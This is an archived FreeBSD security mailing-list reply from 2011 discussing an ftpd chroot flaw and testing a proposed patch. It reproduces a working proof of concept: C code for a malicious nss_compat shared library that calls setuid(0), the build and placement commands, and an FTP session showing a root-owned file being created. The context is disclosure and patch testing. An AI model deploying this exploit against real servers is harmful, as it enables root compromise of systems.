Date: Wed, 30 Nov 2011 20:01:01 -0500 From: Mike Tancsa <mike@sentex.net> To: d@delphij.net Cc: "freebsd-security@freebsd.org" <freebsd-security@freebsd.org>, Xin LI <delphij@delphij.net>, Przemyslaw Frasunek <przemyslaw@frasunek.com> Subject: Re: ftpd security issue ? Message-ID: <4ED6D1CD.9080700@sentex.net> In-Reply-To: <4ED6C3C6.5030402@delphij.net> References: <4ED68B4D.4020004@sentex.net> <4ED69B7E.50505@frasunek.com> <4ED6C3C6.5030402@delphij.net>
next in thread | previous in thread | raw e-mail | index | archive | help
On 11/30/2011 7:01 PM, Xin LI wrote: > >> BTW. This vulnerability affects only configurations, where >> /etc/ftpchroot exists or anonymous user is allowed to create files >> inside etc and lib dirs. > > This doesn't seem to be typical configuration or no? I think in shared hosting environments it would be somewhat common. For annon ftp, I dont think the anon user would be able to create / write to a lib directory. > > Will the attached patch fix the problem? > > (I think libc should just refuse /etc/nsswitch.conf and libraries if > they are writable by others by the way) It does not seem to prevent the issue for me. Using Przemyslaw program's, #include <stdio.h> #include <fcntl.h> void _init() { setuid(0); setgid(0); FILE *fp = fopen("/newfile", "w+"); fprintf(fp, "%d %d\n", getuid(), geteuid()); } cc -o dummy.o -c dummy.c -fPIC ; cc -shared -Wl,-soname,dummy.so -o dummy.so dummy.o -nostartfiles ; mv dummy.so ~testuser/lib/nss_compat.so.1 ; chown testuser ~testuser/lib/nss_compat.so.1 ftp localhost Trying 127.0.0.1... Connected to localhost. 220 vmtest.localdomain FTP server (Version 6.00LS) ready. Name (localhost:mdtancsa): testuser 331 Password required for testuser. Password: 230 User testuser logged in, access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. ftp> dir 229 Entering Extended Passive Mode (|||62436|) 150 Opening ASCII mode data connection for '/bin/ls'. total 106 -rw-r--r-- 1 1002 1002 763 Nov 30 15:17 .cshrc -rw------- 1 1002 1002 193 Nov 30 16:36 .history drwxr-xr-x 2 1002 1002 512 Nov 30 16:05 etc -r-xr-xr-x 1 0 1002 95076 Nov 30 19:50 ftpd drwxr-xr-x 2 1002 1002 512 Nov 30 19:56 lib -rw-r--r-- 1 0 1002 79 Nov 30 16:34 t.c -rwxr-xr-x 1 0 1002 24 Nov 30 16:37 t.sh 226 Transfer complete. ftp> dir 229 Entering Extended Passive Mode (|||50577|) 150 Opening ASCII mode data connection for '/bin/ls'. total 108 -rw-r--r-- 1 1002 1002 763 Nov 30 15:17 .cshrc -rw------- 1 1002 1002 193 Nov 30 16:36 .history drwxr-xr-x 2 1002 1002 512 Nov 30 16:05 etc -r-xr-xr-x 1 0 1002 95076 Nov 30 19:50 ftpd drwxr-xr-x 2 1002 1002 512 Nov 30 19:56 lib -rw-r--r-- 1 0 1002 4 Nov 30 19:58 newfile -rw-r--r-- 1 0 1002 79 Nov 30 16:34 t.c -rwxr-xr-x 1 0 1002 24 Nov 30 16:37 t.sh 226 Transfer complete. ftp> the file created is root -- ------------------- Mike Tancsa, tel +1 519 651 3400 Sentex Communications, mike@sentex.net Providing Internet services since 1994 www.sentex.net Cambridge, Ontario Canada http://www.tancsa.com/
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?4ED6D1CD.9080700>